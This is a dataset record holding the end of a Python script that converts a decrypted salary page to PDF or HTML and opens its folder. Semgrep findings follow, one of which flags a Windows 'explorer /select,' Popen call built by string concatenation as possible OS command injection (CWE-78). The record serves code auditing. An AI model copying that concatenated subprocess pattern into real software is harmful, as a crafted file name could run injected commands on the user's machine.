click.echo("convert to pdf")
new_file_name = path.join(dir_abs_path, title + '.pdf')
convert_pdf(decrypted_html, new_file_name)
else:
click.echo("convert to html")
new_file_name = path.join(dir_abs_path, title + ext)
convert_html(decrypted_html, new_file_name)
try:
if platform.system().lower() == 'darwin':
subprocess.call(['open', '--reveal', new_file_name])
elif platform.system().lower() == 'windows':
subprocess.Popen(r'explorer /select,' + new_file_name)
except Exception as e:
pass
if __name__ == '__main__':
main()
| 42 | 29.48 | 91 | 15 | 291 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_3be5600f258a1dae_e2aa9925", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 24, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmpb8jm_z1l/3be5600f258a1dae.py", "start": {"line": 34, "col": 24, "offset": 1038}, "end": {"line": 34, "col": 28, "offset": 1042}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_3be5600f258a1dae_999f1bde", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 13, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/3be5600f258a1dae.py", "start": {"line": 36, "col": 13, "offset": 1145}, "end": {"line": 36, "col": 67, "offset": 1199}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
36
] | [
36
] | [
13
] | [
67
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | show_me_my_salary.py | /show_me_my_salary.py | hyerim-kim/show-me-my-salary | MIT |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.